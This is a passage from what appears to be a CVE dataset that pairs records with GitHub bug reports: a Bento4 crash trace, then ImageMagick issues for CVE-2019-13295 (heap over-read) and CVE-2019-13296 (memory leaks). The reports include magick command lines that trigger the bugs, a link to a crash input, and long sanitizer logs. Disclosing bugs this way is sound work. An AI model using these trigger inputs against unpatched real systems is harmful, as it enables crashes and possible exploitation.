0xf71d507b (/usr/lib32/libasan.so.2+0x1607b) #3 0xf7261e80 (/usr/lib32/libasan.so.2+0xa2e80) #4 0xf71da229 (/usr/lib32/libasan.so.2+0x1b229) #5 0xf7256e16 in operator new[](unsigned int) (/usr/lib32/libasan.so.2+0x97e16) #6 0x873013b in AP4_SdpAtom::AP4_SdpAtom(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4SdpAtom.cpp:60 #7 0x82dcab1 in AP4_SdpAtom::Create(unsigned int, AP4_ByteStream&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4SdpAtom.h:54 #8 0x82dcab1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:595 #9 0x83016d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x82b6bae in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x82b6bae in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:139 #12 0x82be680 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4ContainerAtom.cpp:88 #13 0x82dc711 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:764 #14 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:221 #15 0x82fa1f7 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4AtomFactory.cpp:151 #16 0x809a044 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:104 #17 0x809a044 in AP4_File::AP4_File(AP4_ByteStream&, bool) /mnt/data/playground/mp42-a/Source/C++/Core/Ap4File.cpp:78 #18 0x8082ce7 in main /mnt/data/playground/mp42-a/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250 #19 0xf69df636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636) #20 0x808df1b (/mnt/data/playground/mp42-a/Build/mp42aac+0x808df1b) [input_file.zip](https://github.com/axiomatic-systems/Bento4/files/3217304/input_file.zip)

Exhaustive memory misunhandle

https://api.github.com/repos/axiomatic-systems/Bento4/issues/396/comments

2019-05-24T14:17:26Z

2019-08-25T16:31:09Z

https://github.com/axiomatic-systems/Bento4/issues/396

CVE-2019-13295

2019-07-05T01:15:09.907

ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read at MagickCore/threshold.c in AdaptiveThresholdImage because a width of zero is mishandled.

https://github.com/ImageMagick/ImageMagick/issues/1608

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a heap-buffer-overflow at MagickCore/threshold.c:323:33 in AdaptiveThresholdImage ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run_cmd: `magick -seed 0 "(" magick:logo +repage ")" "(" magick:wizard -lat 0x564-42% ")" -quiet tmp` Here's ASAN log. ``` ==10393==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f8ba61737f0 at pc 0x7f8bb5c0f9fa bp 0x7ffc04d5fad0 sp 0x7ffc04d5fac8 READ of size 4 at 0x7f8ba61737f0 thread T0 #0 0x7f8bb5c0f9f9 in AdaptiveThresholdImage MagickCore/threshold.c:323:33 #1 0x7f8bb51c1cb6 in CLISimpleOperatorImage MagickWand/operation.c:2571:21 #2 0x7f8bb51b6c78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #3 0x7f8bb51dc315 in CLIOption MagickWand/operation.c:5273:16 #4 0x7f8bb501da99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #5 0x7f8bb501ed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #6 0x7f8bb5068ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #7 0x526f95 in MagickMain utilities/magick.c:149:10 #8 0x5268e1 in main utilities/magick.c:180:10 #9 0x7f8bafadfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x41b069 in _start (install/bin/magick+0x41b069) 0x7f8ba61737f0 is located 16 bytes to the left of 4331520-byte region [0x7f8ba6173800,0x7f8ba6595000) allocated by thread T0 here: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7f8bb5a57ed6 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f8bb57aeccc in AcquireCacheNexusPixels MagickCore/cache.c:4968:37 #3 0x7f8bb579c13b in SetPixelCacheNexusPixels MagickCore/cache.c:5070:12 #4 0x7f8bb5793b05 in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0x7f8bb57b1ea6 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0x7f8bb5c0ef20 in AdaptiveThresholdImage MagickCore/threshold.c:257:7 #7 0x7f8bb51c1cb6 in CLISimpleOperatorImage MagickWand/operation.c:2571:21 #8 0x7f8bb51b6c78 in CLISimpleOperatorImages MagickWand/operation.c:3685:12 #9 0x7f8bb51dc315 in CLIOption MagickWand/operation.c:5273:16 #10 0x7f8bb501da99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f8bb501ed0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f8bb5068ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f8bafadfb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/threshold.c:323:33 in AdaptiveThresholdImage ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-21 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow at MagickCore/threshold.c:323:33 in AdaptiveThresholdImage

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1608/comments

2019-06-21T05:58:31Z

2019-07-08T01:48:18Z

https://github.com/ImageMagick/ImageMagick/issues/1608

CVE-2019-13296

2019-07-05T01:15:09.983

ImageMagick 7.0.8-50 Q16 has direct memory leaks in AcquireMagickMemory because of an error in CLIListOperatorImages in MagickWand/operation.c for a NULL value.

https://github.com/ImageMagick/ImageMagick/issues/1604

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There're a direct memory leaks in AcquireMagickMemory of MagickCore/memory.c:478:10 and many indirect memory leaks. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run cmd: `magick -seed 0 "(" magick:netscape +repage ")" "(" magick:granite +repage ")" -append -fft -compare tmp` and this cmd also can trigger them. cmd: `magick -seed 0 -bias 0% "(" magick:rose +repage ")" "(" magick:rose -despeckle -threshold 26 -wave 55x83 ")" -sampling-factor 3.65x3.408 -channel RGBA -compare -mosaic -compare tmp` Here's ASAN result. ``` ==5674==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13504 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7a1154 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7fdfed7a5709 in CloneImage MagickCore/image.c:823:25 #4 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #5 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #6 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #7 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 940032 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed7f3f66 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7fdfed53c6ac in OpenPixelCache MagickCore/cache.c:3728:46 #3 0x7fdfed542991 in GetImagePixelCache MagickCore/cache.c:1754:18 #4 0x7fdfed52a330 in QueueAuthenticPixelCacheNexus MagickCore/cache.c:4156:28 #5 0x7fdfed52a001 in GetAuthenticPixelCacheNexus MagickCore/cache.c:1324:10 #6 0x7fdfed54ca4e in GetCacheViewAuthenticPixels MagickCore/cache-view.c:312:10 #7 0x7fdfed7b43e1 in SetImageAlpha MagickCore/image.c:2372:7 #8 0x7fdfed8356d5 in ConformPixelInfo MagickCore/pixel.c:235:12 #9 0x7fdfed7a84e7 in SetImageBackgroundColor MagickCore/image.c:2441:3 #10 0x7fdfed7a4c47 in AppendImages MagickCore/image.c:533:10 #11 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #12 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #13 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #14 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #15 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #16 0x526f95 in MagickMain utilities/magick.c:149:10 #17 0x5268e1 in main utilities/magick.c:180:10 #18 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 22616 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7f41af in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7fdfed7a6b3d in CloneImage MagickCore/image.c:879:43 #4 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #5 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #6 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #7 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 13024 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7a1154 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7fdfed7a3793 in AcquireImageInfo MagickCore/image.c:350:28 #4 0x7fdfed7ac553 in CloneImageInfo MagickCore/image.c:945:14 #5 0x7fdfed7a36b8 in SyncImageSettings MagickCore/image.c:4242:21 #6 0x7fdfed7baea6 in SyncImagesSettings MagickCore/image.c:4000:12 #7 0x7fdfecf78153 in CLIOption MagickWand/operation.c:5243:14 #8 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 9152 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed7f3f66 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7fdfed526a04 in AcquirePixelCache MagickCore/cache.c:195:28 #3 0x7fdfed527f8d in ClonePixelCache MagickCore/cache.c:513:28 #4 0x7fdfed7a75df in CloneImage MagickCore/image.c:910:22 #5 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #6 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #7 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #8 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 512 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7f41af in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7fdfed834f7a in AcquirePixelChannelMap MagickCore/pixel.c:101:35 #4 0x7fdfed835154 in ClonePixelChannelMap MagickCore/pixel.c:139:13 #5 0x7fdfed7a638f in CloneImage MagickCore/image.c:849:28 #6 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #7 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #8 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 288 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed504284 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7fdfed505d5d in CloneBlobInfo MagickCore/blob.c:554:27 #4 0x7fdfed7a6848 in CloneImage MagickCore/image.c:867:25 #5 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #6 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #7 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #8 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #9 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #10 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #11 0x526f95 in MagickMain utilities/magick.c:149:10 #12 0x5268e1 in main utilities/magick.c:180:10 #13 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 192 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7f41af in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7fdfed5275df in AcquirePixelCacheNexus MagickCore/cache.c:271:29 #4 0x7fdfed526f8d in AcquirePixelCache MagickCore/cache.c:212:26 #5 0x7fdfed527f8d in ClonePixelCache MagickCore/cache.c:513:28 #6 0x7fdfed7a75df in CloneImage MagickCore/image.c:910:22 #7 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #8 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #9 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #10 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 96 byte(s) in 3 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed94f073 in AddValueToSplayTree MagickCore/splay-tree.c:189:21 #3 0x7fdfed94ff7c in CloneSplayTree MagickCore/splay-tree.c:372:12 #4 0x7fdfed884f23 in CloneImageProperties MagickCore/property.c:196:25 #5 0x7fdfed7a5f99 in CloneImage MagickCore/image.c:839:10 #6 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #7 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #8 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed9540c4 in AcquireCriticalMemory ./MagickCore/memory-private.h:64:10 #3 0x7fdfed950155 in NewSplayTree MagickCore/splay-tree.c:1148:32 #4 0x7fdfed94fd64 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7fdfed884f23 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7fdfed7a5f99 in CloneImage MagickCore/image.c:839:10 #7 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #8 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #9 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #10 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 80 byte(s) in 3 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7f41af in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7fdfed987963 in ConstantString MagickCore/string.c:713:26 #4 0x7fdfed94ff66 in CloneSplayTree MagickCore/splay-tree.c:373:7 #5 0x7fdfed884f23 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7fdfed7a5f99 in CloneImage MagickCore/image.c:839:10 #7 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #8 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #9 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #10 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed9397c1 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7fdfed939003 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7fdfed7a69df in CloneImage MagickCore/image.c:871:26 #4 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #5 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #6 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #7 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed9397c1 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7fdfed939003 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7fdfed5061ae in GetBlobInfo MagickCore/blob.c:1745:24 #4 0x7fdfed505d6a in CloneBlobInfo MagickCore/blob.c:555:3 #5 0x7fdfed7a6848 in CloneImage MagickCore/image.c:867:25 #6 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #7 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #8 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed9397c1 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7fdfed939003 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7fdfed527383 in AcquirePixelCache MagickCore/cache.c:231:30 #4 0x7fdfed527f8d in ClonePixelCache MagickCore/cache.c:513:28 #5 0x7fdfed7a75df in CloneImage MagickCore/image.c:910:22 #6 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #7 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #8 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed9397c1 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7fdfed939003 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7fdfed5272f4 in AcquirePixelCache MagickCore/cache.c:229:25 #4 0x7fdfed527f8d in ClonePixelCache MagickCore/cache.c:513:28 #5 0x7fdfed7a75df in CloneImage MagickCore/image.c:910:22 #6 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #7 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #8 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed7f3f66 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7fdfed5274e2 in AcquirePixelCacheNexus MagickCore/cache.c:267:29 #3 0x7fdfed526f8d in AcquirePixelCache MagickCore/cache.c:212:26 #4 0x7fdfed527f8d in ClonePixelCache MagickCore/cache.c:513:28 #5 0x7fdfed7a75df in CloneImage MagickCore/image.c:910:22 #6 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #7 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #8 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #9 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200) #1 0x7fdfed9397c1 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7fdfed939003 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7fdfed9503c9 in NewSplayTree MagickCore/splay-tree.c:1159:25 #4 0x7fdfed94fd64 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7fdfed884f23 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7fdfed7a5f99 in CloneImage MagickCore/image.c:839:10 #7 0x7fdfed7a4a81 in AppendImages MagickCore/image.c:520:16 #8 0x7fdfecf6bd2d in CLIListOperatorImages MagickWand/operation.c:3795:22 #9 0x7fdfecf7834e in CLIOption MagickWand/operation.c:5276:14 #10 0x7fdfecdb9a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7fdfecdbad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7fdfece04ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7fdfe787bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Indirect leak of 32 byte(s) in 3 object(s) allocated from: #0 0x4e5397 in __interceptor_malloc (install/bin/magick+0x4e5397) #1 0x7fdfed7f4146 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7fdfed7f41af in 